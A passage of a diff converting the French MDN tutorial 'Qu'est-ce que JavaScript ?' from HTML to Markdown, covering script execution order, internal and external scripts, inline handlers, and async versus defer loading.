CSS](/fr/docs/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_fonctionnement_de_CSS#Comment_fonctionnent_vraiment_les_CSS)). Quand la page se charge, les codes HTML, CSS et JavaScript s'exécutent dans un environnement (l'onglet du navigateur). C'est un peu comme une usine qui prend des matières premières (le code) et sort un produit (la page web). -<p><img alt="" src="execution.png"></p> + -<p>Le JavaScript est exécuté par le moteur JavaScript du navigateur, après que le HTML et le CSS ont été assemblés et combinés en une page web. Cet enchaînement est nécessaire pour être sûr que la structure et le style de la page sont déjà en place quand le JavaScript commence son exécution.</p> +Le JavaScript est exécuté par le moteur JavaScript du navigateur, après que le HTML et le CSS ont été assemblés et combinés en une page web. Cet enchaînement est nécessaire pour être sûr que la structure et le style de la page sont déjà en place quand le JavaScript commence son exécution. -<p>C'est une bonne chose, étant donné qu'un usage fréquent de JavaScript est de modifier dynamiquement le HTML et le CSS pour mettre à jour l'interface utilisateur, via l'API DOM comme évoqué plus tôt. Charger le JavaScript et essayer de l'exécuter avant que le HTML et le CSS ne soient en place mènerait à des erreurs.</p> +C'est une bonne chose, étant donné qu'un usage fréquent de JavaScript est de modifier dynamiquement le HTML et le CSS pour mettre à jour l'interface utilisateur, via l'API DOM comme évoqué plus tôt. Charger le JavaScript et essayer de l'exécuter avant que le HTML et le CSS ne soient en place mènerait à des erreurs. -<h3 id="Sécurité_du_navigateur">Sécurité du navigateur</h3> +### Sécurité du navigateur -<p>Chaque onglet du navigateur constitue un périmètre séparé dans lequel s'exécute le code (en termes techniques ces périmètres sont des « environnements d'exécution ») ce qui signifie que, dans la plupart des cas, le code de chaque onglet est exécuté complètement séparément, et le code d'un onglet ne peut affecter directement le code d'un autre onglet ou d'un autre site. C'est une bonne mesure de sécurité. Si ce n'était pas le cas, des pirates pourraient par exemple écrire du code pour voler des informations sur d'autres sites web.</p> +Chaque onglet du navigateur constitue un périmètre séparé dans lequel s'exécute le code (en termes techniques ces périmètres sont des « environnements d'exécution ») ce qui signifie que, dans la plupart des cas, le code de chaque onglet est exécuté complètement séparément, et le code d'un onglet ne peut affecter directement le code d'un autre onglet ou d'un autre site. C'est une bonne mesure de sécurité. Si ce n'était pas le cas, des pirates pourraient par exemple écrire du code pour voler des informations sur d'autres sites web. -<div class="note"> -<p><strong>Note :</strong> il existe des moyens d'envoyer du code et des données entre différents sites/onglets de façon sécurisée, mais ce sont des techniques avancées que ne nous couvrirons pas dans ce cours.</p> -</div> +> **Note :** il existe des moyens d'envoyer du code et des données entre différents sites/onglets de façon sécurisée, mais ce sont des techniques avancées que ne nous couvrirons pas dans ce cours. -<h3 id="Ordre_d'exécution_du_JavaScript">Ordre d'exécution du JavaScript</h3> +### Ordre d'exécution du JavaScript -<p>Quand le navigateur rencontre un bloc de JavaScript, il l'exécute généralement dans l'ordre, de haut en bas. Vous devrez donc faire attention à l'ordre dans lequel vous écrivez les choses. Reprenons le bloc de JavaScript vu dans notre premier exemple :</p> +Quand le navigateur rencontre un bloc de JavaScript, il l'exécute généralement dans l'ordre, de haut en bas. Vous devrez donc faire attention à l'ordre dans lequel vous écrivez les choses. Reprenons le bloc de JavaScript vu dans notre premier exemple : -<pre class="brush: js">let para = document.querySelector('p'); +```js +let para = document.querySelector('p'); para.addEventListener('click', updateName); function updateName() { let name = prompt('Enter a new name'); para.textContent = 'Player 1: ' + name; -}</pre> +} +``` + +Nous sélectionnons ici un paragraphe de texte (ligne 1), puis lui attachons un « gestionnaire d'évènement » (<i lang="en">event listener</i>) ligne 3, pour qu'ensuite, lors d'un clic sur le paragraphe, le bloc de code `updateName()` (lignes 5-8) s'exécute. Le bloc de code `updateName()` (ces blocs de code réutilisables sont appelés « fonctions ») demande à l'utilisateur un nouveau nom, et l'insère dans le paragraphe pour mettre à jour l'affichage. + +Si vous échangiez les deux premières lignes de code, rien ne fonctionnerait plus, vous obtiendriez une erreur dans la console développeur du navigateur : `TypeError: para is undefined`. Cela signifie que l'objet `para` n'existe pas encore, donc nous ne pouvons pas y ajouter de gestionnaire d'évènement. + +> **Note :** c'est une erreur très fréquente. Il faut veiller à ce que les objets référencés dans votre code existent avant d'essayer de les utiliser. + +### Code interprété contre code compilé + +En informatique, on parle de code **interprété** ou **compilé**. JavaScript est un langage interprété : le code est exécuté de haut en bas et le résultat du code exécuté est envoyé immédiatement. Vous n'avez pas à transformer le code en une autre forme avant que le navigateur ne l'exécute. + +Les langages compilés quant à eux sont transformés (compilés) en une autre forme avant d'être exécutés par l'ordinateur. Par exemple le C et le C++ sont compilés en langage assembleur qui est ensuite exécuté par l'ordinateur. -<p>Nous sélectionnons ici un paragraphe de texte (ligne 1), puis lui attachons un « gestionnaire d'évènement » (<i lang="en">event listener</i>) ligne 3, pour qu'ensuite, lors d'un clic sur le paragraphe, le bloc de code <code>updateName()</code> (lignes 5-8) s'exécute. Le bloc de code <code>updateName()</code> (ces blocs de code réutilisables sont appelés « fonctions ») demande à l'utilisateur un nouveau nom, et l'insère dans le paragraphe pour mettre à jour l'affichage.</p> +Chaque approche a ses avantages, ce que nous ne développerons pas pour l'instant. -<p>Si vous échangiez les deux premières lignes de code, rien ne fonctionnerait plus, vous obtiendriez une erreur dans la console développeur du navigateur : <code>TypeError: para is undefined</code>. Cela signifie que l'objet <code>para</code> n'existe pas encore, donc nous ne pouvons pas y ajouter de gestionnaire d'évènement.</p> +### Code côté client contre côté serveur -<div class="note"> -<p><strong>Note :</strong> c'est une erreur très fréquente. Il faut veiller à ce que les objets référencés dans votre code existent avant d'essayer de les utiliser.</p> -</div> +Vous pouvez aussi rencontrer les termes de code **côté serveur** et **côté client**, notamment dans le contexte du développement web. Le code **côté client** est du code exécuté sur l'ordinateur de l'utilisateur : quand une page web est vue, le code côté client de la page est téléchargé, puis exécuté et affiché par le navigateur. Dans ce module JavaScript, nous parlons explicitement de **JavaScript côté client**. -<h3 id="Code_interprété_contre_code_compilé">Code interprété contre code compilé</h3> +Le code **côté serveur** quant à lui est exécuté sur le serveur, puis ses résultats sont téléchargés et affichés par le navigateur. Citons comme langages web côté serveur populaires le PHP, Python, Ruby, et ASP.NET. Et JavaScript ! JavaScript peut aussi s'utiliser comme un langage **côté serveur**, par exemple dans le populaire environnement Node.js — vous pouvez en apprendre plus sur le JavaScript côté serveur dans notre article[ Programmation de Sites Web côté serveur](/fr/docs/Learn/Server-side). -<p>En informatique, on parle de code <strong>interprété</strong> ou <strong>compilé</strong>. JavaScript est un langage interprété : le code est exécuté de haut en bas et le résultat du code exécuté est envoyé immédiatement. Vous n'avez pas à transformer le code en une autre forme avant que le navigateur ne l'exécute.</p> +### Code dynamique contre code statique -<p>Les langages compilés quant à eux sont transformés (compilés) en une autre forme avant d'être exécutés par l'ordinateur. Par exemple le C et le C++ sont compilés en langage assembleur qui est ensuite exécuté par l'ordinateur.</p> +Le mot **dynamique** est utilisé tant pour qualifier le JavaScript côté client que les langages côté serveur. Il se réfère à la capacité de mettre à jour l'affichage d'une page/application web pour montrer des choses différentes en des circonstances différentes, en générant un nouveau contenu quand nécessaire. Le code côté serveur génère dynamiquement du nouveau contenu sur le serveur, par exemple en lisant une base de données, tandis que le JavaScript côté client peut générer dynamiquement un contenu nouveau dans le navigateur, par exemple en créant une nouvelle table HTML, en y insérant les données demandées au serveur, puis en affichant la table dans une page web. Selon le contexte, le terme _dynamique_ prend un sens un peu différent, mais les deux sont très liés, et les deux approches (côté serveur et client) vont souvent de pair. -<p>Chaque approche a ses avantages, ce que nous ne développerons pas pour l'instant.</p> +Une page web sans contenu mis à jour dynamiquement est appelé **statique** : elle montre simplement toujours le même contenu. -<h3 id="Code_côté_client_contre_côté_serveur">Code côté client contre côté serveur</h3> +## Comment ajouter du JavaScript à votre page ? -<p>Vous pouvez aussi rencontrer les termes de code <strong>côté serveur</strong> et <strong>côté client</strong>, notamment dans le contexte du développement web. Le code <strong>côté client</strong> est du code exécuté sur l'ordinateur de l'utilisateur : quand une page web est vue, le code côté client de la page est téléchargé, puis exécuté et affiché par le navigateur. Dans ce module JavaScript, nous parlons explicitement de <strong>JavaScript côté client</strong>.</p> +Le JavaScript est appliqué à votre page HTML un peu comme le CSS. Les éléments {{htmlelement("link")}} permettent d'appliquer des feuilles de style externes au HTML alors que les feuilles de style internes utilisent les éléments {{htmlelement("style")}}. Pour ajouter du JavaScript à un document HTML, il n'y a qu'une seule façon : avec l'élément {{htmlelement("script")}}. Voyons cela sur un exemple. -<p>Le code <strong>côté serveur</strong> quant à lui est exécuté sur le serveur, puis ses résultats sont téléchargés et affichés par le navigateur. Citons comme langages web côté serveur populaires le PHP, Python, Ruby, et ASP.NET. Et JavaScript ! JavaScript peut aussi s'utiliser comme un langage <strong>côté serveur</strong>, par exemple dans le populaire environnement Node.js — vous pouvez en apprendre plus sur le JavaScript côté serveur dans notre article<a href="/fr/docs/Learn/Server-side"> Programmation de Sites Web côté serveur</a>.</p> +### JavaScript interne -<h3 id="Code_dynamique_contre_code_statique">Code dynamique contre code statique</h3> +1. Faites d'abord une copie locale de notre fichier d'exemple [apply-javascript.html](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript.html). Enregistrez-le dans un répertoire approprié. +2. Ouvrez le fichier dans votre navigateur web et dans un éditeur de texte. Vous verrez que le HTML crée une page web simple contenant un bouton cliquable. +3. Ensuite, allez dans votre éditeur de texte et ajoutez ce qui suit juste avant la balise fermante `</head>` : -<p>Le mot <strong>dynamique</strong> est utilisé tant pour qualifier le JavaScript côté client que les langages côté serveur. Il se réfère à la capacité de mettre à jour l'affichage d'une page/application web pour montrer des choses différentes en des circonstances différentes, en générant un nouveau contenu quand nécessaire. Le code côté serveur génère dynamiquement du nouveau contenu sur le serveur, par exemple en lisant une base de données, tandis que le JavaScript côté client peut générer dynamiquement un contenu nouveau dans le navigateur, par exemple en créant une nouvelle table HTML, en y insérant les données demandées au serveur, puis en affichant la table dans une page web. Selon le contexte, le terme <em>dynamique</em> prend un sens un peu différent, mais les deux sont très liés, et les deux approches (côté serveur et client) vont souvent de pair.</p> + ```html + <script> -<p>Une page web sans contenu mis à jour dynamiquement est appelé <strong>statique</strong> : elle montre simplement toujours le même contenu.</p> + // JavaScript goes here -<h2 id="Comment_ajouter_du_JavaScript_à_votre_page">Comment ajouter du JavaScript à votre page ?</h2> + </script> + ``` -<p>Le JavaScript est appliqué à votre page HTML un peu comme le CSS. Les éléments {{htmlelement("link")}} permettent d'appliquer des feuilles de style externes au HTML alors que les feuilles de style internes utilisent les éléments {{htmlelement("style")}}. Pour ajouter du JavaScript à un document HTML, il n'y a qu'une seule façon : avec l'élément {{htmlelement("script")}}. Voyons cela sur un exemple.</p> +4. Ajoutons maintenant du JavaScript dans notre élément {{htmlelement("script")}} pour rendre la page plus dynamique. Ajoutez le code suivant juste en dessous de la ligne "// JavaScript goes here" : -<h3 id="JavaScript_interne">JavaScript interne</h3> + ```js + document.addEventListener("DOMContentLoaded", function() { + function createParagraph() { + let para = document.createElement('p'); + para.textContent = 'Vous avez cliqué sur le bouton!'; + document.body.appendChild(para); + } -<ol> - <li>Faites d'abord une copie locale de notre fichier d'exemple <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript.html">apply-javascript.html</a>. Enregistrez-le dans un répertoire approprié.</li> - <li>Ouvrez le fichier dans votre navigateur web et dans un éditeur de texte. Vous verrez que le HTML crée une page web simple contenant un bouton cliquable.</li> - <li>Ensuite, allez dans votre éditeur de texte et ajoutez ce qui suit juste avant la balise fermante <code></head></code> : - <pre class="brush: html"><script> + const buttons = document.querySelectorAll('button'); - // JavaScript goes here + for(let i = 0; i < buttons.length ; i++) { + buttons[i].addEventListener('click', createParagraph); + } + }); + ``` -</script></pre> - </li> - <li>Ajoutons maintenant du JavaScript dans notre élément {{htmlelement("script")}} pour rendre la page plus dynamique. Ajoutez le code suivant juste en dessous de la ligne "// JavaScript goes here" : - <pre class="brush: js"> document.addEventListener("DOMContentLoaded", function() { - function createParagraph() { - let para = document.createElement('p'); - para.textContent = 'Vous avez cliqué sur le bouton!'; - document.body.appendChild(para); - } +5. Enregistrez le fichier et actualisez le navigateur. Vous pouvez maintenant voir que, lorsque vous cliquez sur le bouton, un nouveau paragraphe est généré et placé en dessous. - const buttons = document.querySelectorAll('button'); +> **Note :** si l'exemple ne semble pas marcher, reprenez pas à pas chaque étape. Avez-vous bien enregistré le code de départ comme un fichier `.html` ? Avez-vous bien ajouté l'élément {{htmlelement("script")}} juste après la balise `</head>` ? Avez-vous collé le bon code JavaScript au bon endroit ? **JavaScript est sensible à la casse, et assez tatillon, il faut donc respecter scrupuleusement la syntaxe indiquée, sans quoi il peut ne pas fonctionner.** - for(let i = 0; i < buttons.length ; i++) { - buttons[i].addEventListener('click', createParagraph); - } -});</pre> - </li> - <li>Enregistrez le fichier et actualisez le navigateur. Vous pouvez maintenant voir que, lorsque vous cliquez sur le bouton, un nouveau paragraphe est généré et placé en dessous.</li> -</ol> +> **Note :** vous pouvez voir cette version sur GitHub avec [apply-javascript-internal.html](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html) ([et aussi en live](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html)). -<div class="note"> -<p><strong>Note :</strong> si l'exemple ne semble pas marcher, reprenez pas à pas chaque étape. Avez-vous bien enregistré le code de départ comme un fichier <code>.html</code> ? Avez-vous bien ajouté l'élément {{htmlelement("script")}} juste après la balise <code></head></code> ? Avez-vous collé le bon code JavaScript au bon endroit ? <strong>JavaScript est sensible à la casse, et assez tatillon, il faut donc respecter scrupuleusement la syntaxe indiquée, sans quoi il peut ne pas fonctionner.</strong></p> -</div> +### JavaScript externe -<div class="note"> -<p><strong>Note :</strong> vous pouvez voir cette version sur GitHub avec <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">apply-javascript-internal.html</a> (<a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">et aussi en live</a>).</p> -</div> +Ça marche très bien, mais si nous voulons mettre notre JavaScript dans un fichier externe ? Voyons cela. -<h3 id="JavaScript_externe">JavaScript externe</h3> +1. Créez d'abord un nouveau fichier dans le même répertoire que votre fichier HTML. Nommez-le `script.js` (vérifiez qu'il a bien l'extension de fichier .js, c'est ainsi qu'il est identifié comme fichier JavaScript). +2. Ensuite, copiez-collez tout le script contenu dans l'élément {{htmlelement("script")}} vers le fichier .js, et enregistrez le fichier. +3. À présent remplacez l'élément {{htmlelement("script")}} par : -<p>Ça marche très bien, mais si nous voulons mettre notre JavaScript dans un fichier externe ? Voyons cela.</p> + ```html + <script src="script.js" defer></script> + ``` -<ol> - <li>Créez d'abord un nouveau fichier dans le même répertoire que votre fichier HTML. Nommez-le <code>script.js</code> (vérifiez qu'il a bien l'extension de fichier .js, c'est ainsi qu'il est identifié comme fichier JavaScript).</li> - <li>Ensuite, copiez-collez tout le script contenu dans l'élément {{htmlelement("script")}} vers le fichier .js, et enregistrez le fichier.</li> - <li>À présent remplacez l'élément {{htmlelement("script")}} par : - <pre class="brush: html"><script src="script.js" defer></script></pre> - </li> - <li>Enregistrez et rechargez la page dans votre navigateur, et vous devriez voir la même chose qu'avant. C'est la même chose, mais nous avons maintenant le JavaScript dans un fichier externe. C'est une bonne chose en général pour organiser le code et le rendre réutilisable pour plusieurs fichiers HTML. Cela rend aussi le code HTML plus lisible en évitant d'y inclure de gros blocs de JavaScript.</li> -</ol> +4. Enregistrez et rechargez la page dans votre navigateur, et vous devriez voir la même chose qu'avant. C'est la même chose, mais nous avons maintenant le JavaScript dans un fichier externe. C'est une bonne chose en général pour organiser le code et le rendre réutilisable pour plusieurs fichiers HTML. Cela rend aussi le code HTML plus lisible en évitant d'y inclure de gros blocs de JavaScript. -<p><strong>Note :</strong> vous pouvez voir cette version sur GitHub avec <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html">apply-javascript-external.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/script.js">script.js</a> (<a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html">ainsi qu'en live</a>).</p> +**Note :** vous pouvez voir cette version sur GitHub avec [apply-javascript-external.html](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html) et [script.js](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/script.js) ([ainsi qu'en live](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html)). -<h3 id="Handlers_JavaScript_en_ligne">Handlers JavaScript en ligne</h3> +### Handlers JavaScript en ligne -<p>Notez que parfois vous tomberez sur des morceaux de JavaScript directement dans le HTML. Ce qui peut ressembler à ça :</p> +Notez que parfois vous tomberez sur des morceaux de JavaScript directement dans le HTML. Ce qui peut ressembler à ça : -<pre class="brush: js example-bad">function createParagraph() { +```js example-bad +function createParagraph() { let para = document.createElement('p'); para.textContent = 'Vous avez cliqué !'; document.body.appendChild(para); -}</pre> +} +``` -<pre class="brush: html example-bad"><button onclick="createParagraph()">Cliquez-moi!</button></pre> +```html example-bad +<button onclick="createParagraph()">Cliquez-moi!</button> +``` -<p>Vous pouvez essayer cette version dans la démonstration ci-dessous.</p> +Vous pouvez essayer cette version dans la démonstration ci-dessous. -<p>{{ EmbedLiveSample('Handlers_JavaScript_en_ligne', '100%', 150) }}</p> +{{ EmbedLiveSample('Handlers_JavaScript_en_ligne', '100%', 150) }} -<p>Cet exemple a exactement le même comportement que ceux des deux sections précédentes, sauf que l'élément {{htmlelement("button")}} a un handler <code>onclick</code> en ligne pour déclencher l'exécution de la fonction à la pression du bouton.</p> +Cet exemple a exactement le même comportement que ceux des deux sections précédentes, sauf que l'élément {{htmlelement("button")}} a un handler `onclick` en ligne pour déclencher l'exécution de la fonction à la pression du bouton. -<p><strong>Évitez cependant de faire cela.</strong> C'est une mauvaise habitude de polluer le HTML avec du JavaScript, en plus d'être inefficace. Dans cette méthode, on doit inclure l'attribut <code>onclick="createParagraph()"</code> sur chaque bouton où le JavaScript doit s'appliquer.</p> +**Évitez cependant de faire cela.** C'est une mauvaise habitude de polluer le HTML avec du JavaScript, en plus d'être inefficace. Dans cette méthode, on doit inclure l'attribut `onclick="createParagraph()"` sur chaque bouton où le JavaScript doit s'appliquer. -<h3 id="En_JavaScript_pur">En JavaScript pur</h3> +### En JavaScript pur -<p>Une construction en JavaScript pur permet de sélectionner tous les boutons avec une instruction. Dans l'exemple précédent c'est cette partie qui s'en charge :</p> +Une construction en JavaScript pur permet de sélectionner tous les boutons avec une instruction. Dans l'exemple précédent c'est cette partie qui s'en charge : -<pre class="brush: js">let buttons = document.querySelectorAll('button'); +```js +let buttons = document.querySelectorAll('button'); -for(let i = 0; i < buttons.length ; i++) { +for(let i = 0; i < buttons.length ; i++) { buttons[i].addEventListener('click', createParagraph); -}</pre> +} +``` -<p>Cela peut sembler un peu plus long que l'attribut <code>onclick</code>, mais cela fonctionnera pour tous les boutons peu importe leur nombre sur la page, et peu importe si des boutons sont ajoutés ou retirés, le code JavaScript n'aura pas besoin d'être modifié.</p> +Cela peut sembler un peu plus long que l'attribut `onclick`, mais cela fonctionnera pour tous les boutons peu importe leur nombre sur la page, et peu importe si des boutons sont ajoutés ou retirés, le code JavaScript n'aura pas besoin d'être modifié. -<div class="note"> -<p><strong>Note :</strong> essayez de modifier votre version de <code>apply-javascript.html</code> et d'y ajouter quelques boutons dans le fichier. En actualisant la page, tous les boutons devraient créer un paragraphe quand ils sont cliqués. Pas mal, non ?</p> -</div> +> **Note :** essayez de modifier votre version de `apply-javascript.html` et d'y ajouter quelques boutons dans le fichier. En actualisant la page, tous les boutons devraient créer un paragraphe quand ils sont cliqués. Pas mal, non ? -<h3 id="Stratégies_de_chargement_de_script">Stratégies de chargement de script</h3> +### Stratégies de chargement de script -<p>Le chargement des scripts au bon moment pose un certain nombre de problèmes. Rien n'est aussi simple qu'il y paraît ! Un problème courant est que le code HTML d'une page se charge en suivant l'ordre d'apparition dans le code source. Si vous utilisez JavaScript pour manipuler des éléments sur la page (plus précisément, le <a href="/fr/docs/Web/API/Document_Object_Model">DOM</a>), votre code ne fonctionnera pas si le JavaScript est chargé et analysé avant le code HTML sur lequel vous voulez opérer.</p> +Le chargement des scripts au bon moment pose un certain nombre de problèmes. Rien n'est aussi simple qu'il y paraît ! Un problème courant est que le code HTML d'une page se charge en suivant l'ordre d'apparition dans le code source. Si vous utilisez JavaScript pour manipuler des éléments sur la page (plus précisément, le [DOM](/fr/docs/Web/API/Document_Object_Model)), votre code ne fonctionnera pas si le JavaScript est chargé et analysé avant le code HTML sur lequel vous voulez opérer. -<p>Dans les exemples de code interne et externe ci-dessus, le JavaScript est chargé et exécuté dans l'en-tête du document, avant que le corps soit analysé. Cela peut causer une erreur, donc nous avons utilisé des structures pour le contourner.</p> +Dans les exemples de code interne et externe ci-dessus, le JavaScript est chargé et exécuté dans l'en-tête du document, avant que le corps soit analysé. Cela peut causer une erreur, donc nous avons utilisé des structures pour le contourner. -<p>Dans l'exemple interne, vous pouvez voir cette structure autour du code :</p> +Dans l'exemple interne, vous pouvez voir cette structure autour du code : -<pre class="brush: js"> +```js document.addEventListener("DOMContentLoaded", function() { ... -});</pre> +}); +``` + +Il s'agit d'un gestionnaire d'évènement associé à l'événement `DOMContentLoaded` du navigateur, cet événement est déclenché quand le `body` HTML est complètement chargé et analysé. Le code JavaScript à l'intérieur du bloc est exécuté après le déclenchement de `DOMContentLoaded`. Par conséquent, l'erreur est évitée (vous en apprendrez plus sur les [événements](/fr/docs/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements) plus tard dans le cours). -<p>Il s'agit d'un gestionnaire d'évènement associé à l'événement <code>DOMContentLoaded</code> du navigateur, cet événement est déclenché quand le <code>body</code> HTML est complètement chargé et analysé. Le code JavaScript à l'intérieur du bloc est exécuté après le déclenchement de <code>DOMContentLoaded</code>. Par conséquent, l'erreur est évitée (vous en apprendrez plus sur les <a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements">événements</a> plus tard dans le cours).</p> +Dans l'exemple externe, nous utilisons une fonctionnalité JavaScript plus moderne pour résoudre le problème, l'attribut `async`, qui indique au navigateur de continuer à télécharger le contenu HTML une fois que l'élément de balise {{htmlelement("script")}} a été atteint. -<p>Dans l'exemple externe, nous utilisons une fonctionnalité JavaScript plus moderne pour résoudre le problème, l'attribut <code>async</code>, qui indique au navigateur de continuer à télécharger le contenu HTML une fois que l'élément de balise {{htmlelement("script")}} a été atteint.</p> +```js +<script src="script.js" defer></script> +``` -<pre class="brush: js"><script src="script.js" defer></script></pre> +Dans ce cas, le script et le code HTML se chargeront simultanément et le code fonctionnera. -<p>Dans ce cas, le script et le code HTML se chargeront simultanément et le code fonctionnera.</p> +> **Note :** Dans le cas externe, nous n'avions pas besoin d'utiliser l'événement `DOMContentLoaded`, car l'attribut `async` a résolu le problème pour nous. Nous n'avons pas utilisé la solution `async` pour l'exemple JavaScript interne, car elle ne fonctionne que pour les scripts externes. -<div class="note"> -<p><strong>Note :</strong> Dans le cas externe, nous n'avions pas besoin d'utiliser l'événement <code>DOMContentLoaded</code>, car l'attribut <code>async</code> a résolu le problème pour nous. Nous n'avons pas utilisé la solution <code>async</code> pour l'exemple JavaScript interne, car elle ne fonctionne que pour les scripts externes.</p> -</div> +Auparavant, une solution à ce problème consistait à placer votre élément de script juste au bas du corps (par exemple, juste avant la balise), afin qu'il soit chargé après que tout le code HTML a été analysé. Le problème de cette solution (et de la solution `DOMContentLoaded` vue ci-dessus) est que le chargement et l'analyse du script sont complètements bloqués jusqu'à ce que le DOM HTML soit chargé. Sur des sites plus importants avec beaucoup de JavaScript, cela peut entraîner un problème de performances majeur, ce qui ralentit votre site. C'est pourquoi `async` a été ajouté aux navigateurs ! -<p>Auparavant, une solution à ce problème consistait à placer votre élément de script juste au bas du corps (par exemple, juste avant la balise), afin qu'il soit chargé après que tout le code HTML a été analysé. Le problème de cette solution (et de la solution <code>DOMContentLoaded</code> vue ci-dessus) est que le chargement et l'analyse du script sont complètements bloqués jusqu'à ce que le DOM HTML soit chargé. Sur des sites plus importants avec beaucoup de JavaScript, cela peut entraîner un problème de performances majeur, ce qui ralentit votre site. C'est pourquoi <code>async</code> a été ajouté aux navigateurs !</p> +#### async et defer -<h4 id="async_et_defer">async et defer</h4> +En fait, il existe deux façons de contourner le problème du script de blocage : `async` et `defer`. Regardons la différence entre les deux. -<p>En fait, il existe deux façons de contourner le problème du script de blocage : <code>async</code> et <code>defer</code>. Regardons la différence entre les deux.</p> +Les scripts asynchrones téléchargeront le script sans bloquer le rendu de la page et l'exécuteront dès que le téléchargement du script sera terminé. Vous n'obtenez aucune garantie que les scripts s'exécutent dans un ordre spécifique, mais seulement qu'ils n'empêcheront pas le reste de la page de s'afficher. Il est préférable d'utiliser `async` lorsque les scripts de la page s'exécutent indépendamment les uns des autres et ne dépendent d'aucun autre script de la page. -<p>Les scripts asynchrones téléchargeront le script sans bloquer le rendu de la page et l'exécuteront dès que le téléchargement du script sera terminé. Vous n'obtenez aucune garantie que les scripts s'exécutent dans un ordre spécifique, mais seulement qu'ils n'empêcheront pas le reste de la page de s'afficher. Il est préférable d'utiliser <code>async</code> lorsque les scripts de la page s'exécutent indépendamment les uns des autres et ne dépendent d'aucun autre script de la page.</p> + -<img src="async-defer.jpg" alt="async vs defer" > +Image de [la spécification HTML](https://html.spec.whatwg.org/images/asyncdefer.svg), copiée et rognée selon les termes de la licence [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). -<p>Image de <a href="https://html.spec.whatwg.org/images/asyncdefer.svg" target="_blank" >la spécification HTML</a>, copiée et rognée selon les termes de la licence <a href="https://creativecommons.org/licenses/by/4.0/" target="_blank">CC BY 4.0</a>. -</p> +Par exemple, si vous avez les éléments de script suivants : -<p>Par exemple, si vous avez les éléments de script suivants :</p> +```html +<script async src="js/vendor/jquery.js"></script> -<pre class="brush: html"><script async src="js/vendor/jquery.js"></script> +<script async src="js/script2.js"></script> -<script async src="js/script2.js"></script> +<script async src="js/script3.js"></script> +``` -<script async src="js/script3.js"></script></pre> +Vous ne pouvez pas compter sur l'ordre dans lequel les scripts seront chargés. `Jquery.js` peut être chargé avant ou après `script2.js` et `script3.js`. Si tel est le cas, toute fonction de ces scripts dépendant de `jquery` générera une erreur, car `jquery` ne sera pas défini au moment de l'exécution du script. -<p>Vous ne pouvez pas compter sur l'ordre dans lequel les scripts seront chargés. <code>Jquery.js</code> peut être chargé avant ou après <code>script2.js</code> et <code>script3.js</code>. Si tel est le cas, toute fonction de ces scripts dépendant de <code>jquery</code> générera une erreur, car <code>jquery</code> ne sera pas défini au moment de l'exécution du script.</p> +`defer` exécute les scripts dans l'ordre dans lequel ils apparaissent dans la page et les exécute dès que le script et le contenu sont téléchargés : -<p><code>defer</code> exécute les scripts dans l'ordre dans lequel ils apparaissent dans la page et les exécute dès que le script et le contenu sont téléchargés :</p> +```html +<script defer src="js/vendor/jquery.js"></script> -<pre class="brush: html"><script defer src="js/vendor/jquery.js"></script> +<script defer src="js/script2.js"></script> -<script defer src="js/script2.js"></script> +<script defer src="js/script3.js"></script> +``` -<script defer src="js/script3.js"></script></pre> +Tous les scripts dotés de l'attribut de `defer` seront chargés dans l'ordre dans lequel ils apparaissent sur la page. Ainsi, dans le deuxième exemple, nous pouvons être sûrs que `jquery.js` se chargera avant `script2.js` et `script3.js` et que `script2.js` se chargera avant `script3.js`. -<p>Tous les scripts dotés de l'attribut de <code>defer</code> seront chargés dans l'ordre dans lequel ils apparaissent sur la page. Ainsi, dans le deuxième exemple, nous pouvons être sûrs que <code>jquery.js</code> se chargera avant <code>script2.js</code> et <code>script3.js</code> et que <code>script2.js</code> se chargera avant <code>script3.js</code>.</p> +Pour résumer : -<p>Pour résumer :</p> +- Si vos scripts n'ont pas besoin d'attendre l'analyse et peuvent s'exécuter indépendamment sans dépendances, utilisez `async`. +- Si vos scripts doivent attendre l'analyse et dépendent d'autres scripts, chargez-les à l'aide de `defer` et placez leurs éléments {{htmlelement("script")}} correspondants dans l'ordre dans lequel vous souhaitez que le navigateur les exécute. -<ul> - <li>Si vos scripts n'ont pas besoin d'attendre l'analyse et peuvent s'exécuter indépendamment sans dépendances, utilisez <code>async</code>.</li> - <li>Si vos scripts doivent attendre l'analyse et dépendent d'autres scripts, chargez-les à l'aide de <code>defer</code> et placez leurs éléments {{htmlelement("script")}} correspondants dans l'ordre dans lequel vous souhaitez que le navigateur les exécute.</li> -</ul> +## Commentaires -<h2 id="Commentaires">Commentaires</h2> +Comme pour le HTML et le CSS, il est possible d'écrire des commentaires dans le code JavaScript qui seront ignorés par le navigateur. Ils ne sont là que pour apporter des précisions aux autres développeurs sur le fonctionnement du code (et vous-même, si vous reprenez votre code après six mois sans pouvoir vous rappeler ce que vous avez fait). Les commentaires sont très utiles, et vous devriez les utiliser fréquemment, surtout pour des applications de grande taille. Il y en a deux types : -<p>Comme pour le HTML et le CSS, il est possible d'écrire des commentaires dans le code JavaScript qui seront ignorés par le navigateur. Ils ne sont là que pour apporter des précisions aux autres développeurs sur le fonctionnement du code (et vous-même, si vous reprenez votre code après six mois sans pouvoir vous rappeler ce que vous avez fait). Les commentaires sont très utiles, et vous devriez les utiliser fréquemment, surtout pour des applications de grande taille. Il y en a deux types :</p> +- Un commentaire sur une ligne s'écrit après un double slash, par exemple : -<ul> - <li>Un commentaire sur une ligne s'écrit après un double slash, par exemple : - <pre 